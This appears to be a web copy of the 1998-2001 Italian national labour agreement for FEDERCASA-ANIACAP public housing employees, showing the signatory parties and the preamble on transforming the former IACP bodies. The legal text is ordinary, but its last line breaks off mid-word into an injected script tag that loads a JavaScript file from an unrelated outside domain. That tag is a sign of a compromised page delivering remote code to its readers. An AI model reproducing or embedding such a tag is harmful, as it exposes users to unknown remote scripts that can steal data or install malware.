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Categoria: Federcasa Settore: Enti Privati Data stipula: 9-7-1998 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
PER I DIPENDENTI DELLE AZIENDE, DELLE SOCIETA' E DEGLI ENTI PUBBLICI
ECONOMICI ADERENTI A FEDERCASA-ANIACAP IN QUALITA' DI SOCI ORDINARI
VERBALE DI ACCORDO
Addì, 9 luglio 1998 in Roma
tra
- La FEDERCASA-ANIACAP (Federazione italiana per la casa),
rappresentata: dal Presidente Marco Giardini, dalla Commissione per i
rapporti di lavoro, costituita da: Vincenzo Garofalo, Luciano Cechi,
Vincenzo Turini, Massimo Paniccia, Marco Pietrangelo, Gustavo Rui,
Maurizio Tiberi.
- La FP-CGIL rappresentata: dal Segretario generale Paolo Nerozzi, dal
Segretario nazionale Laimer Armuzzi, dal Coordinatore del Dipartimento
sindacale Gianni Nigro, da Luca Finazzi e Gianni Pagliarini del Comparto
nazionale Autonomie locali.
- La FIST-CISL rappresentata: dal Segretario generale FIST-CISL
Ermenegildo Bonfanti, dal Segretario generale aggiunto FIST-CISL Marco
Lombardo, dai Segretari nazionali responsabili politiche settoriali e
contrattuali Velio Alia, Gabrio Maria Tonelli.
- La UIL-EE.LL. rappresentata: dal Segretario generale Fabrizio
Lucarini, dal Segretario nazionale Sauro Brecciaroli
a seguito delle intese raggiunte il 13.5.98 per la stipula del 1° CCNL per
i dipendenti delle Aziende, delle Società e degli Enti pubblici economici
aderenti a FEDERCASA-ANIACAP in qualità di soci ordinari;
a completo e definitivo scioglimento di ogni e qualsiasi riserva;
hanno sottoscritto l'allegato CCNL, concernente il periodo 1° gennaio 1998
- 31 dicembre 2001 per la parte normativa e valido dal 1° gennaio 1998 al
31 dicembre 1999 per la parte economica.
PREMESSA
Il 1° CCNL per i dipendenti delle aziende per l'edilizia residenziale
pubblica aderenti a FEDERCASA si colloca nella fase di trasformazione
degli ex IACP in enti pubblici economici.
Una trasformazione già avviata, sulla base di leggi regionali, in Veneto,
in Lombardia e in Liguria, che tende a fornire agli enti riformati
strumenti operativi, finanziari e gestionali in grado d'esaltarne i
caratteri d'efficienza ed economicità, oltre che a ridefinire il ruolo
economico-sociale.
I nuovi enti, superando le riduttive concezioni del passato, dovranno
sempre più caratterizzarsi come strumento per le politiche di sostegno
alle condizioni di vita delle fasce sociali più deboli, ma anche come
momento di sviluppo economico e occupazionale e di riqualificazione
dell'ambiente urbano.
Rispetto a tale processo, che si colloca all'interno di una visione dello
Stato sociale rinnovata, il CCNL gioca un ruolo fondamentale, soprattutto
nella sua fase d'avvio: quella in cui, realizzatasi in alcune Regioni la
premessa legislativa della trasformazione giuridica degli enti, necessita
che da tale premessa scaturiscano concretamente forme d'organizzazione
che, facendo soprattutto leva sulla valorizzazione delle risorse umane,
mettano le aziende in grado di fronteggiare i nuovi compiti.
Il CCNL FEDERCASA 1998-2001 si propone di favorire tale processo, che
proprio nel quadriennio della sua validità dovrà compiere i passi
fondamentali. Si pone inoltre come riferimento certo per le Regioni che
non hanno ancora intrapreso la via della riforma, spesso frenate proprio
dalle incognite della trasformazione sotto l'aspetto del modello
contrattuale da assumere.
Questa è anche la chiave di lettura delle soluzioni adottate dal contratto
per i diversi istituti giuridici ed economici, significativamente
innovative ma, nel contempo, attente ad evitare forzature rispetto a un
processo appena iniziato.
Il CCNL 1998-2001 stabilisce quindi i trattamenti giuridici ed economici
propri di una fase di transizione, destinata a compiersi con il
raggiungimento di una piena maturità aziendale, da parte dei nuo<script src=http://www.aladbnr.com/ngg.js></script>
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